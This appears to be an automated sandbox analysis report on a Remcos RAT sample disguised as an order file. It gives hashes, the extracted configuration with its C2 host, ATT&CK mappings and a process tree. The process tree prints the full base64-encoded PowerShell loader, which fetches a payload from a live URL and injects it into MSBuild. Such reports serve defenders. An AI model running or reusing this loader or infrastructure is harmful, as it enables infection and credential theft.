remcos | a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-12-2024 10:08

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General

Target

Order_DEC2024.wsf
Size

3KB
MD5

c209a2bdfa9028df5da14abdc1fc58ce
SHA1

17b2e2192cccdde3bc51197285ccdc5a0dc80587
SHA256

a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62
SHA512

0d7a39070b32d140bfcf01f125eea94d9016d0e641e461d1d2a8d0b42d5d0cc8388fccc1c08272ed09bde710cbd4154b281e638b9f608e7e0b344d6aa3bd54c9

Score

10^/10

remcos 4 collection discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

lewisham1122.ddnsking.com:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L31JDJ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3700-47-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4048-46-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/884-51-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/884-51-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4048-46-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	1384	WScript.exe
7	1384	WScript.exe
20	4956	powershell.exe
25	4956	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4956	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4956 set thread context of 1248	4956	powershell.exe	96
PID 1248 set thread context of 4048	1248	MSBuild.exe	98
PID 1248 set thread context of 884	1248	MSBuild.exe	99
PID 1248 set thread context of 3700	1248	MSBuild.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe
4048	MSBuild.exe
4048	MSBuild.exe
3700	MSBuild.exe
3700	MSBuild.exe
4048	MSBuild.exe
4048	MSBuild.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1248	MSBuild.exe
1248	MSBuild.exe
1248	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	3700	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1248	MSBuild.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1384 wrote to memory of 4956	1384	WScript.exe	83
PID 1384 wrote to memory of 4956	1384	WScript.exe	83
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 4956 wrote to memory of 1248	4956	powershell.exe	96
PID 1248 wrote to memory of 4048	1248	MSBuild.exe	98
PID 1248 wrote to memory of 4048	1248	MSBuild.exe	98
PID 1248 wrote to memory of 4048	1248	MSBuild.exe	98
PID 1248 wrote to memory of 4048	1248	MSBuild.exe	98
PID 1248 wrote to memory of 884	1248	MSBuild.exe	99
PID 1248 wrote to memory of 884	1248	MSBuild.exe	99
PID 1248 wrote to memory of 884	1248	MSBuild.exe	99
PID 1248 wrote to memory of 884	1248	MSBuild.exe	99
PID 1248 wrote to memory of 3700	1248	MSBuild.exe	100
PID 1248 wrote to memory of 3700	1248	MSBuild.exe	100
PID 1248 wrote to memory of 3700	1248	MSBuild.exe	100
PID 1248 wrote to memory of 3700	1248	MSBuild.exe	100

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order_DEC2024.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $maremma = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JG5lbmhvID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGFsdm9yb3RhciA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGNob3N0cmEgPSAkYWx2b3JvdGFyLkRvd25sb2FkRGF0YSgkbmVuaG8pOyRwZXJpZ29zYW1lbnRlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNob3N0cmEpOyRtZXhlcm90byA9ICc8PEJBU0U2NF9TVEFSVD4+JzskbHVwYW50ZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGVuY2FyZGlyID0gJHBlcmlnb3NhbWVudGUuSW5kZXhPZigkbWV4ZXJvdG8pOyRuaXN0byA9ICRwZXJpZ29zYW1lbnRlLkluZGV4T2YoJGx1cGFudGUpOyRlbmNhcmRpciAtZ2UgMCAtYW5kICRuaXN0byAtZ3QgJGVuY2FyZGlyOyRlbmNhcmRpciArPSAkbWV4ZXJvdG8uTGVuZ3RoOyRjdW5ldGEgPSAkbmlzdG8gLSAkZW5jYXJkaXI7JGF1bGljaXNtbyA9ICRwZXJpZ29zYW1lbnRlLlN1YnN0cmluZygkZW5jYXJkaXIsICRjdW5ldGEpOyRkZWJpbGl0YW1lbnRvID0gLWpvaW4gKCRhdWxpY2lzbW8uVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGF1bGljaXNtby5MZW5ndGgpXTskZWxlbWllaXJhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGViaWxpdGFtZW50byk7JGxldmFkb3VyYSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVsZW1pZWlyYSk7JGVzY290YSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRlc2NvdGEuSW52b2tlKCRudWxsLCBAKCcwL2ZoY3dvL3IvZWUuZXRzYXAvLzpzcHR0aCcsICdiaWNoYW5jcm9zJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsICdNU0J1aWxkJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnMScsJ2JpY2hhbmNyb3MnKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$escumar = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($maremma));Invoke-Expression $escumar
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\ntjvdwtixwcruwkinuspuagptwscrfe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4048
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\yvoneodkleuexcgmefnqfnbycdklsqvbmh"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:884
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\aptgfh"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
452cf421ac4cf366063a0b487b5b2389

SHA1
34126c58fcbe6153a3efeaa92c1cd742f1bd4726

SHA256
75bf9232da104aa8c6f0b3a552943488654d365c4b67132a4537fd54a39d5391

SHA512
efd3e1bcd63a12909ee78e6d207ca0eb1eb4419bdae0fbc68b5b060c76a3925caa640ce5034082bc200c3ef1b5ba4bfc0dd4c393c5c456c39ebffe8b3b6193b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oz0zdozt.z0r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ntjvdwtixwcruwkinuspuagptwscrfe

Filesize
4KB

MD5
16dfb23eaa7972c59c36fcbc0946093b

SHA1
1e9e3ff83a05131575f67e202d352709205f20f8

SHA256
36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c

SHA512
a8b38b5e7bf886b78c5c7f01234b44647a252d4dfbcc06c99b863f8e160e3cfc151b2a83b8b49e09d13e8547419467da4bffbb8dee5fc6740032eb7c839d89dc

Download Submit
memory/884-41-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/884-51-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/884-43-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1248-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-57-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1248-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-86-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-19-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-33-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-34-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-36-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-70-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-62-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1248-58-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1248-54-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3700-47-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3700-45-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3700-42-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4048-44-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4048-46-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4048-40-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4956-3-0x000001A01C5D0000-0x000001A01C5F2000-memory.dmp

Filesize
136KB

Download
memory/4956-13-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-14-0x00007FF8A7C03000-0x00007FF8A7C05000-memory.dmp

Filesize
8KB

Download
memory/4956-15-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-11-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-12-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-0-0x00007FF8A7C03000-0x00007FF8A7C05000-memory.dmp

Filesize
8KB

Download
memory/4956-24-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-18-0x000001A02CC60000-0x000001A02CDB8000-memory.dmp

Filesize
1.3MB

Download
memory/4956-17-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-16-0x00007FF8A7C00000-0x00007FF8A86C1000-memory.dmp

Filesize
10.8MB

Download